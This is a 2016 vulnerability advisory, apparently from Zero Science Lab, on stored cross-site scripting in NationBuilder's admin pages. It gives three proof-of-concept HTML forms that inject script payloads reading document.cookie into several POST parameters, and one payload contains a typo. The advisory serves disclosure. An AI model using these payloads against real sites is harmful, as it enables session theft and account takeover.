NationBuilder Multiple Stored XSS Vulnerabilities

2016.04.25
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

<!-- NationBuilder Multiple Stored XSS Vulnerabilities Vendor: NATIONBUILDER WHQ Product web page: http://www.nationbuilder.com Affected version: unknown Platform: Ruby Summary: NationBuilder is a unique nonpartisan community organizing system that brings together a comprehensive suite of tools that today's leaders and creators need to gather their tribes. Deeply social. Desc: The application suffers from multiple stored XSS vulnerabilities. Input passed to several POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Apache/2.2.22 (Ubuntu) Phusion Passenger 4.0.48 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5318 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5318.php Ruby client for NationBuilder API: https://github.com/nationbuilder/nationbuilder-rb 11.04.2016 --> #1 Stored XSS in 'signup[note]' POST parameter ---------------------------------------------- # # PoC: # <html> <body> <form action="https://domain.local/admin/signups/2/background?screen=signup-header" method="POST"> <input type="hidden" name="utf8" value="%E2%9C%93" /> <input type="hidden" name="authenticity_token" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8=" /> <input type="hidden" name="signup[note]" value="<script>alert(onfirm(document.cookie)</script>" /> <input type="hidden" name="commit" value="Save background" /> <input type="submit" value="Submit request" /> </form> </body> </html> #2 Stored XSS in 'page_tag[name]' POST parameter ------------------------------------------------ # # PoC: # <html> <body> <form action="https://domain.local/admin/sites/1/tags" method="POST"> <input type="hidden" name="utf8" value="%E2%9C%93" /> <input type="hidden" name="authenticity_token" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8=" /> <input type="hidden" name="page_tag[name]" value="<script>confirm(document.cookie)</script>" /> <input type="hidden" name="commit" value="Add tag" /> <input type="submit" value="Submit request" /> </form> </body> </html> #3 Stored XSS in 'page[slug]' and 'page[headline]' POST parameters ------------------------------------------------------------------ # # PoC: # <html> <body> <form action="https://domain.local/admin/sites/1/pages/12?screen=seo" method="POST"> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="_method" value="put" /> <input type="hidden" name="authenticity_token" value="wAqOhULjnK8/H3ip+zE6yg3IHaGa6ggbjxOoN2tf30I=" /> <input type="hidden" name="page[title]" value="Volunteer - ZSL" /> <input type="hidden" name="page[slug]" value="volunteer_script_confirm_document_cookie_script" /> <input type="hidden" name="page[headline]" value="Volunteer<script>confirm(document.cookie)</script>" /> <input type="hidden" name="page[excerpt]" value="1" /> <input type="hidden" name="commit" value="Save page" /> <input type="submit" value="Submit request" /> </form> </body> </html>

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5318.php


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